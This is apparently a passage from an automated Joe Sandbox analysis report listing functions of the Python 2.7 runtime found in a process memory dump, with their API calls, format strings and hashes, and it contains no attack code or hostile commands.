                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Arg_DecodeParseSizeStatefulTuple_Unicode_
                                                                                                                                                                    • String ID: s*|zi:mbcs_decode
                                                                                                                                                                    • API String ID: 3965784926-1507612309
                                                                                                                                                                    • Opcode ID: e998b04ca2d56bd178ec6ed6c5c26e8280f8a3bec38b1f2b978af73c9cf0c2f0
                                                                                                                                                                    • Instruction ID: 8e66d685ffb95976c3d91b273e6c3cdafb043cf8e2ad9f0295ad7395b59283f5
                                                                                                                                                                    • Opcode Fuzzy Hash: e998b04ca2d56bd178ec6ed6c5c26e8280f8a3bec38b1f2b978af73c9cf0c2f0
                                                                                                                                                                    • Instruction Fuzzy Hash: 37318C76E00105AFDB08DFA9DCC5DBEB3F9FF88224B14426DE51997240E6319D05CBA1
                                                                                                                                                                    Function 67060DB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 81threadCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • GetCurrentThreadId.KERNEL32 ref: 67060DD6
                                                                                                                                                                    • Py_BuildValue.PYTHON27((iO),00000001,?), ref: 67060E27
                                                                                                                                                                    • PyEval_CallObjectWithKeywords.PYTHON27(?,00000000,00000000), ref: 67060E4B
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: BuildCallCurrentEval_KeywordsObjectThreadValueWith
                                                                                                                                                                    • String ID: (iO)
                                                                                                                                                                    • API String ID: 4089372107-915891140
                                                                                                                                                                    • Opcode ID: 468aa69a3294280d73a1afbd6c4e05ce7b819bbb20528c18d3aa5da1241aef45
                                                                                                                                                                    • Instruction ID: d6d09b066627f6e5f885ae69b18c0e5b38cd5562c48305327874a0c7b47021b9
                                                                                                                                                                    • Opcode Fuzzy Hash: 468aa69a3294280d73a1afbd6c4e05ce7b819bbb20528c18d3aa5da1241aef45
                                                                                                                                                                    • Instruction Fuzzy Hash: 292107B5A981159BDB10CFA4D89EF46B3F8FB5B368F000368E91487280E379D945CBE5
                                                                                                                                                                    Function 670C9E50 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_FromString.PYTHON27(<dummy key>,00000000,E8526724,?,?,6709F060,00000000,?,?,?,6709F1E2,?), ref: 670C9E66
                                                                                                                                                                    • memset.MSVCR90 ref: 670C9EB2
                                                                                                                                                                    • PyObject_GC_Track.PYTHON27 ref: 670C9EDA
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: FromObject_StringString_Trackmemset
                                                                                                                                                                    • String ID: <dummy key>
                                                                                                                                                                    • API String ID: 733772200-4195026744
                                                                                                                                                                    • Opcode ID: 6a7f3abeab109b317740f4f04cf3a11612b401b28c680775287285fff3bd8766
                                                                                                                                                                    • Instruction ID: 04719bbe5b7139878e3d5f5eb962c824ec2128869fe16f50635d439bec96c806
                                                                                                                                                                    • Opcode Fuzzy Hash: 6a7f3abeab109b317740f4f04cf3a11612b401b28c680775287285fff3bd8766
                                                                                                                                                                    • Instruction Fuzzy Hash: 8521A1B15143108FEB10CF68E8C174B77E8AF1932CF00426AE9298F285E379D915CBA7
                                                                                                                                                                    Function 6708E710 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 76COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672465C8,null argument to internal routine), ref: 6708E731
                                                                                                                                                                    • PyErr_Format.PYTHON27(672448B0,'%.200s' object doesn't support slice deletion,?), ref: 6708E7AA
                                                                                                                                                                    Strings
                                                                                                                                                                    • '%.200s' object doesn't support slice deletion, xrefs: 6708E7A4
                                                                                                                                                                    • null argument to internal routine, xrefs: 6708E72B
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_$FormatString
                                                                                                                                                                    • String ID: '%.200s' object doesn't support slice deletion$null argument to internal routine
                                                                                                                                                                    • API String ID: 4212644371-114744853
                                                                                                                                                                    • Opcode ID: 61f5db6d916466c5eae9b5917b4deb19f38431fb414062ca50f8194e57418c00
                                                                                                                                                                    • Instruction ID: 89e59a63fe6acb84cec14ac442c48048a2b8f93b476398ee22deea321e28b765
                                                                                                                                                                    • Opcode Fuzzy Hash: 61f5db6d916466c5eae9b5917b4deb19f38431fb414062ca50f8194e57418c00
                                                                                                                                                                    • Instruction Fuzzy Hash: D211E976604605AFDB10DE59EC85B5673E8DFD8334F10463AF93C87280E775E846CAA0
                                                                                                                                                                    Function 6708F6A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyObject_GetAttr.PYTHON27(?,?), ref: 6708F6B4
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672465C8,null argument to internal routine), ref: 6708F73A
                                                                                                                                                                    Strings
                                                                                                                                                                    • null argument to internal routine, xrefs: 6708F734
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: AttrErr_Object_String
                                                                                                                                                                    • String ID: null argument to internal routine
                                                                                                                                                                    • API String ID: 3019503910-2212441169
                                                                                                                                                                    • Opcode ID: 6e73b05cdd0a2c5f5198d72f1f1f9a838a6e60ea87c03ae35f799f0630e8cc4a
                                                                                                                                                                    • Instruction ID: 1b03ac9d67d797c8d9b2169dccf55bc0c8e58727c3b62051a6a87df68ed37d80
                                                                                                                                                                    • Opcode Fuzzy Hash: 6e73b05cdd0a2c5f5198d72f1f1f9a838a6e60ea87c03ae35f799f0630e8cc4a
                                                                                                                                                                    • Instruction Fuzzy Hash: 6A1193766005015BDB14DE74EC40B9A73ECAB89378F200329E96987290E735FD52CAA5
                                                                                                                                                                    Function 670187C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTuple_SizeT.PYTHON27(?,O|nn:scanner,?,?,?), ref: 670187E8
                                                                                                                                                                    • PyObject_Malloc.PYTHON27(00000368), ref: 67018801
                                                                                                                                                                    • PyErr_NoMemory.PYTHON27 ref: 6701880D
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Arg_Err_MallocMemoryObject_ParseSizeTuple_
                                                                                                                                                                    • String ID: O|nn:scanner
                                                                                                                                                                    • API String ID: 3578119790-1243287501
                                                                                                                                                                    • Opcode ID: 3a801c9fd24ef75b09b5129d61a6e32ecc159b91818906a325fca3b8d4eec3d7
                                                                                                                                                                    • Instruction ID: ce8ac415a88365b76483a16606371df0b36e6a6662264aec4059a36319030489
                                                                                                                                                                    • Opcode Fuzzy Hash: 3a801c9fd24ef75b09b5129d61a6e32ecc159b91818906a325fca3b8d4eec3d7
                                                                                                                                                                    • Instruction Fuzzy Hash: F82166B6904118AFCB00DFD8E88099EB7FCEB48724F148296E9199B645D631DA418BE1
                                                                                                                                                                    Function 67002F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTuple_SizeT.PYTHON27(?,O|z:latin_1_encode,?,?), ref: 67002F9E
                                                                                                                                                                    • PyUnicodeUCS2_FromObject.PYTHON27(?), ref: 67002FB4
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Arg_FromObjectParseSizeTuple_Unicode
                                                                                                                                                                    • String ID: O|z:latin_1_encode
                                                                                                                                                                    • API String ID: 22654875-4126519268
                                                                                                                                                                    • Opcode ID: 10bb5cf191f2f28dcbaa6a41e917f0de048270e05a42b1c31881dd99763913a6
                                                                                                                                                                    • Instruction ID: c3a7fc87e9d7303bcfda12133452647e680446027d0b73a1ae2283139303a4ea
                                                                                                                                                                    • Opcode Fuzzy Hash: 10bb5cf191f2f28dcbaa6a41e917f0de048270e05a42b1c31881dd99763913a6
                                                                                                                                                                    • Instruction Fuzzy Hash: 50219DB5A00104AFE711DBA8DD45F9AB7F8EF8C324F1541A8E90897351E731EE45C7A1
                                                                                                                                                                    Function 67002E20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTuple_SizeT.PYTHON27(?,O|z:unicode_escape_encode,?,?), ref: 67002E3E
                                                                                                                                                                    • PyUnicodeUCS2_FromObject.PYTHON27(?), ref: 67002E54
                                                                                                                                                                    Strings
                                                                                                                                                                    • O|z:unicode_escape_encode, xrefs: 67002E31
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Arg_FromObjectParseSizeTuple_Unicode
                                                                                                                                                                    • String ID: O|z:unicode_escape_encode
                                                                                                                                                                    • API String ID: 22654875-2688519145
                                                                                                                                                                    • Opcode ID: e4b4bd64a981026b69cb20240c0e3c37f61f7eb30787ea57c84b15d6bfd0261b
                                                                                                                                                                    • Instruction ID: aaccb11fc8ef53b7282b9538c07af546a11e8a75fd3d6ffb0f9437cfdaee4114
                                                                                                                                                                    • Opcode Fuzzy Hash: e4b4bd64a981026b69cb20240c0e3c37f61f7eb30787ea57c84b15d6bfd0261b
                                                                                                                                                                    • Instruction Fuzzy Hash: 4C118475A50104AFDB10DBA8DC45F5A73F9EF88328F2541A5E90897341E731EE06C7A2
                                                                                                                                                                    Function 6708E570 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672465C8,null argument to internal routine,?,?,6708B4E5,?,00000000), ref: 6708E591
                                                                                                                                                                    Strings
                                                                                                                                                                    • '%.200s' object doesn't support item deletion, xrefs: 6708E5ED
                                                                                                                                                                    • null argument to internal routine, xrefs: 6708E58B
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_String
                                                                                                                                                                    • String ID: '%.200s' object doesn't support item deletion$null argument to internal routine
                                                                                                                                                                    • API String ID: 1450464846-2772571300
                                                                                                                                                                    • Opcode ID: cf9d56d8be8aee0c164afa920e723684f2806f54ec6d03dc184e7922ef8fdbab
                                                                                                                                                                    • Instruction ID: edd4c799e746c6db6b3d633628be0c6cfb8e1897ea11275e8a93f6ad30481a5c
                                                                                                                                                                    • Opcode Fuzzy Hash: cf9d56d8be8aee0c164afa920e723684f2806f54ec6d03dc184e7922ef8fdbab
                                                                                                                                                                    • Instruction Fuzzy Hash: E111E5763045005BCA10DA69FC81B6673E8EFC9634B100736F92C8B680EB25E946C6B1
                                                                                                                                                                    Function 67001620 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTuple_SizeT.PYTHON27(?,O|ss:decode,?,?,?), ref: 67001644
                                                                                                                                                                    • _PyCodec_Lookup.PYTHON27(?), ref: 6700166D
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Arg_Codec_LookupParseSizeTuple_
                                                                                                                                                                    • String ID: O|ss:decode$ascii
                                                                                                                                                                    • API String ID: 2652231755-598823363
                                                                                                                                                                    • Opcode ID: fd60cacaf243aac6169dbfe3b4038c940e329b7f4342a36b175fb93eff457d1e
                                                                                                                                                                    • Instruction ID: c58b026ba141e379815f2c018e744997344db97dc0a35ad6ad26b126ce8f1b5b
                                                                                                                                                                    • Opcode Fuzzy Hash: fd60cacaf243aac6169dbfe3b4038c940e329b7f4342a36b175fb93eff457d1e
                                                                                                                                                                    • Instruction Fuzzy Hash: 7E1186B6E04118ABCB01DFD8AC408DEB7BDEB58638B1542A7ED18D7201E631DA1597E1
                                                                                                                                                                    Function 67001590 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTuple_SizeT.PYTHON27(?,O|ss:encode,?,?,?), ref: 670015B4
                                                                                                                                                                    • _PyCodec_Lookup.PYTHON27(?), ref: 670015DD
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Arg_Codec_LookupParseSizeTuple_
                                                                                                                                                                    • String ID: O|ss:encode$ascii
                                                                                                                                                                    • API String ID: 2652231755-2603981544
                                                                                                                                                                    • Opcode ID: 283c08a7a1d75d98aa257a461184fe4e456b60183849cd09b9d9e2e71976a826
                                                                                                                                                                    • Instruction ID: 8d96d9823c42000973a2fa7319e7fcee84ba5df5fd270e1b66e422949e6fac19
                                                                                                                                                                    • Opcode Fuzzy Hash: 283c08a7a1d75d98aa257a461184fe4e456b60183849cd09b9d9e2e71976a826
                                                                                                                                                                    • Instruction Fuzzy Hash: 731173B6E14118ABDB10DFDCAC4089EB3BCEB48638B1541A7E919D7201E631EA058BE1
                                                                                                                                                                    Function 670C4680 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • Py_FatalError.PYTHON27(GC object already tracked), ref: 670C46D9
                                                                                                                                                                    • _PyObject_GC_Malloc.PYTHON27(00000014), ref: 670C4713
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ErrorFatalMallocObject_
                                                                                                                                                                    • String ID: GC object already tracked$P&&g
                                                                                                                                                                    • API String ID: 2067638752-581008464
                                                                                                                                                                    • Opcode ID: 71970f9f68082c20fe103f18510c56fcc6202f6cfe93d7f26aa438cfbfc86b08
                                                                                                                                                                    • Instruction ID: 3e302fdcacfc19989f9b599673672dedf6294ef9413749724bc749b0b1dd643f
                                                                                                                                                                    • Opcode Fuzzy Hash: 71970f9f68082c20fe103f18510c56fcc6202f6cfe93d7f26aa438cfbfc86b08
                                                                                                                                                                    • Instruction Fuzzy Hash: EA11DFF56007029FCB10CF18D805656B7E4FB5E324B00866ADC28D7350E375E412CBA5
                                                                                                                                                                    Function 670016F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTuple_SizeT.PYTHON27(?,s#|z:escape_decode,?,?,?), ref: 67001712
                                                                                                                                                                    • PyString_DecodeEscape.PYTHON27(?,?,00000000,00000000,00000000), ref: 67001736
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
